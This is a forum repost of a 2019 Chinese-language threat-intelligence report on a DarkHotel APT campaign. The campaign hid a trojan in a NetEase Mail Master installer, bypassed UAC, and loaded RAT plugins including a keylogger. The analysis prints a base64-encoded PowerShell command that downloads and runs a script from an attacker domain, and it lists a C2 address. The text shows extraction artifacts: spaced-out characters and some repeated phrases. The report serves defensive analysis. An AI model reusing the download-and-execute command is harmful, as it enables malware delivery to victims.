搜索

[14288] 2019-06-29_“寄生兽”（DarkHotel）针对中国外贸人士的最新攻击活动披露

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-06-29_“寄生兽”（DarkHotel）针对中国外贸人士的最新攻击活动披露 “ 寄 生 兽 ” （ D a r k H o t e l ） 针 对 中 国 外 贸 人 士 的 最 新 攻 击 活 动 披 露 腾 讯 电 脑 管 家   F r e e B u f   2 0 1 9 - 0 6 - 2 9 一 、 事 件 概 述 一 、 事 件 概 述 腾 讯 御 见 威 胁 情 报 中 心 曾 在 腾 讯 御 见 威 胁 情 报 中 心 曾 在 2 0 1 8 年 年 4 月 披 露 过 月 披 露 过 " 寄 生 兽 寄 生 兽 " （ （ D a r k H o t e l ） 在 ） 在 2 0 1 8 年 针 对 中 国 外 贸 企 业 高 管 的 定 向 攻 击 活 动 。 近 期 ， 我 们 再 次 检 测 到 该 攻 击 组 织 的 最 新 攻 击 活 动 ， 依 然 针 对 年 针 对 中 国 外 贸 企 业 高 管 的 定 向 攻 击 活 动 。 近 期 ， 我 们 再 次 检 测 到 该 攻 击 组 织 的 最 新 攻 击 活 动 ， 依 然 针 对 跟 半 岛 地 区 相 关 的 外 贸 企 业 高 管 进 行 的 攻 击 活 动 。 跟 半 岛 地 区 相 关 的 外 贸 企 业 高 管 进 行 的 攻 击 活 动 。 本 次 攻 击 活 动 跟 之 前 的 攻 击 活 动 相 比 ， 整 体 的 攻 击 框 架 变 化 不 大 ， 如 依 然 寄 生 在 正 常 的 软 件 里 （ 网 易 邮 箱 大 师 ） 、 采 用 插 件 模 式 等 。 但 是 在 技 术 细 节 上 也 进 行 了 一 定 的 更 新 ， 如 更 新 了 绕 过 U A C 的 技 术 ， 更 新 了 根 据 杀 软 情 况 使 用 不 同 启 动 方 式 等 技 术 。 " 寄 生 兽 " 是 腾 讯 御 见 威 胁 情 报 在 2 0 1 7 年 捕 捉 的 一 个 A P T 特 种 木 马 （ 以 下 简 称 “ 特 马 ” ） ， 该 特 马 的 特 征 为 喜 欢 把 恶 意 文 件 隐 藏 在 开 源 的 代 码 或 者 正 常 软 件 中 进 行 伪 装 ， 如 p u t t y 、 o p e n s s l 、 z l i b 等 ， 把 少 量 木 马 代 码 隐 藏 在 大 量 的 开 源 代 码 中 ， 从 而 实 现 躲 避 检 测 的 目 的 ， 因 此 将 其 取 名 “ 寄 生 兽 ” 。 而 同 时 经 过 大 量 的 溯 源 、 关 联 ， 我 们 确 定 该 特 马 为 A P T 攻 击 组 织 D a r k H o t e l （ “ 黑 店 ” ） 所 有 。 二 、 技 术 细 节 二 、 技 术 细 节 1 、 、   攻 击 入 口 攻 击 入 口 本 次 攻 击 疑 似 采 用 水 坑 攻 击 的 方 法 ， 把 网 易 邮 箱 大 师 的 主 程 序 和 木 马 文 件 捆 绑 在 一 起 ， 然 后 进 行 传 播 。 打 包 伪 装 的 网 易 邮 箱 大 师 文 件 （ 没 有 数 字 签 名 ） ： 木 马 释 放 的 真 正 的 网 易 邮 箱 大 师 的 文 件 （ 有 数 字 签 名 ） ：
2 、 、   安 装 器 （ 安 装 器 （ I n s t a l l e r ） 分 析 ） 分 析 本 次 攻 击 的 主 程 序 为 捆 绑 了 网 易 邮 箱 大 师 的 主 程 序 的 恶 意 文 件 ， 该 文 件 会 释 放 真 正 的 网 易 邮 箱 大 师 主 程 序 运 行 ， 然 后 下 载 恶 意 的 木 马 d l l 并 加 载 。 1 ）   S t a r t s . e x e 该 文 件 首 先 解 密 出 C 2 和 木 马 版 本 标 记 信 息 ：
在 当 前 目 录 下 释 放 s t a r t s . e x e ， 并 执 行 ， 释 放 出 的 文 件 是 网 易 邮 箱 大 师 的 主 文 件 ： 如 果 成 功 运 行 s t a r t s . e x e 则 开 始 进 行 木 马 下 载 行 为 ： 连 接 C 2 ， 并 p o s t   8 字 节 随 机 数 据 ， 接 收 返 回 数 据 ： 下 载 成 功 后 ， 通 过 定 位 R e f l e c t i v e L o a d e r 函 数 进 行 自 加 载 ：
2 ）   W W W W X X X X . d l l 该 d l l 为 S t a r t s 加 载 的 d l l 。 首 先 判 断 加 载 自 身 的 进 程 ， 如 果 是 p o w e r s h e l l ， 则 开 始 进 行 下 载 行 为 ： 获 取 本 机 信 息 ， 包 括 计 算 机 名 、 用 户 名 等 信 息 及 进 程 列 表 ： 检 测 指 定 目 录 下 是 否 有 l a m e . d l l ， 如 果 没 有 则 开 始 下 载 ， 有 则 退 出 ： 解 密 出 下 载 u r l ， 进 行 下 载 ， 下 载 后 比 较 是 否 为 < ! D O C T Y P E   h t m l > 开 头 ， 是 则 开 始 解 密 ：
解 密 完 后 写 入 到 l a m e . d l l 中 ： 此 外 ， 如 果 当 前 d l l 是 由 w i n w o r d . e x e 进 程 加 载 ， 则 使 用 r u n d l l 3 2 . e x e 加 载 本 d l l 并 调 用 l a m e 函 数 ： l a m e 函 数 中 检 测 3 6 0 t r a y . e x e 、 Z h u D o n g F a n g Y u . e x e 、 Q H S a f e T r a y . e x e 、 Q H A c t i v e D e f e n s e . e x e 、 A v a s t U I . e x e 、 a v g u i . e x e 杀 软 进 程 ， 如 果 存 在 任 何 一 个 则 下 载 l a m e . d l l ， 并 执 行 命 令 将 其 拷 贝 到 s y s t e m 3 2 目 录 中 命 名 为 m s T r a c e r . d l l 进 行 劫 持 ， 并 将 w s e a r c h 服 务 设 为 开 机 启 动 实 现 开 机 自 启 ： 如 果 不 存 在 则 创 建 r u n d l l 3 2 . e x e 进 程 加 载 本 d l l 并 调 用 其 l a m e 3 函 数 ： L a m e 3 函 数 主 要 实 现 通 过 修 改 注 册 表 使 得 l a m e . d l l 开 机 自 启 动 ：
如 果 是 S e a r c h I n d e x e r . e x e 加 载 本 d l l 则 创 建 S e a r c h P r o t o c o l H o s t . e x e 进 程 ： 至 此 ， 完 成 整 个 恶 意 文 件 的 安 装 过 程 。 3 、 、   绕 过 绕 过 u a c （ （ b y p a s s   u a c ） 分 析 ） 分 析 W W W W X X X X . d l l 运 行 过 程 中 如 果 发 现 当 前 进 程 非 管 理 员 权 限 ， 会 先 释 放 绕 过 U A C 的 d l l 文 件 来 绕 过 U A C （ 7 5 6 6 7 6 d b c 9 0 f 5 a 6 6 f c 5 6 5 b e 5 3 8 d e c 8 9 6 ） ， 该 d l l 通 过 利 用 C M S T P 绕 过 U A C 。
4 、 、   加 载 器 （ 加 载 器 （ l o a d e r ） 分 析 ） 分 析 l a m e . d l l 为 木 马 l o a d e r 程 序 。 木 马 总 体 结 构 ， 启 动 技 术 等 与 之 前 版 本 基 本 相 同 ， 可 以 确 定 为 R e t r o   R A T   木 马 的 最 新 版 本 。 木 马 在 多 个 位 置 调 用 了 核 心 下 载 函 数 ， 该 函 数 有 两 种 模 式 ， 参 数 分 别 为 1 和 0 ： 首 先 解 密 出 u r l 域 名 和 参 数 ， 然 后 进 行 网 络 访 问 ： 解 密 C 2 并 构 造 u r l ： 解 密 出 的 C 2 ： 判 断 返 回 的 指 令 ， 如 果 含 r e s e t 则 删 除 v e c t o r . d a t 文 件 ， 如 果 含 < ! D O C T Y P E   h t m l > 字 符 则 将 数 据 解 密 ：
根 据 下 载 函 数 的 调 用 模 式 处 理 解 密 后 的 数 据 ： 模 式 1 ： 在 自 身 进 程 中 申 请 内 存 ， 并 创 建 线 程 直 接 执 行 解 密 后 的 代 码 模 式 2 ： 搜 索 特 征 ， 定 位 P E 文 件 机 构 ， 查 找 R e f l e c t i v e L o a d e r 自 加 载 函 数 进 行 调 用 加 载 执 行
5 、 、   插 件 分 析 插 件 分 析 采 用 插 件 形 式 ， 也 是 本 系 列 木 马 的 一 个 特 色 ， 本 次 攻 击 我 们 发 现 了 非 常 多 的 恶 意 木 马 插 件 ， 主 要 如 下 ： 1 ）   插 件 一 ： 执 行 p o w e r s h e l l 命 令 ： 其 功 能 是 下 载 h t t p : / / g a m e - s e r v i c e . o r g / r m e t _ x 6 4 . t x t 并 作 为 p o w e r s h e l l 脚 本 执 行 ， 内 容 如 下 ： 其 功 能 是 解 密 出 一 段 脚 本 并 创 建 p o w e r s h e l l 进 程 执 行 ， 解 密 后 的 脚 本 如 下 ： 其 功 能 是 申 请 一 块 内 存 ， 并 解 密 出 一 段 s h e l l c o d e ， 创 建 线 程 执 行 s h e l l c o d e ： p o w e r s h e l l   - e x   b y p a s s   - e J A B 1 A H I A b A A 9 A C c A a A B 0 A H Q A c A A 6 A C 8 A L w B n A G E A b Q B l A C 0 A c w B l A H I A d g B p A G M A Z Q A u A G 8 A c g B n A C 8 A c g B t A G U A d A B f A H g A N g A 0 A C 4 A d A B 4 A H Q A J w A 7 A C Q A d w A 9 A E 4 A Z Q B 3 A C 0 A T w B i A G o A Z Q B j A H Q A I A B O A G U A d A A u A F c A Z Q B i A E M A b A B p A G U A b g B 0 A D s A J A B z A D 0 A J A B 3 A C 4 A R A B v A H c A b g B s A G 8 A Y Q B k A F M A d A B y A G k A b g B n A C g A J A B 1 A H I A b A A p A D s A a Q B l A H g A I A A k A H M A O w A =
连 接 1 9 3 . 2 9 . 1 8 7 . 1 7 8 : 5 1 2 1 7 R e c v   4 字 节 数 据 后 将 其 作 为 大 小 申 请 内 存 ， 再 r e c v 该 大 小 的 数 据 ， 然 后 跳 入 数 据 （ s h e l l c o d e ） 中 执 行 。 事 实 上 ， 该 文 件 也 存 在 x 8 6 版 本 ： h t t p : / / g a m e - s e r v i c e . o r g / r m e t _ x 8 6 . t x t 功 能 和 x 6 4 类 似 ， 不 再 赘 述 。 2 ）   插 件 二 ： m k m f c . d l l （ 5 f 2 8 d a 2 b b b e d 8 f f b 3 7 2 8 8 5 5 f 1 9 1 0 b a 6 d ） 该 插 件 为 键 盘 记 录 插 件 ， 本 插 件 用 于 键 盘 记 录 ， 记 录 按 键 信 息 、 窗 口 标 题 、 时 间 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理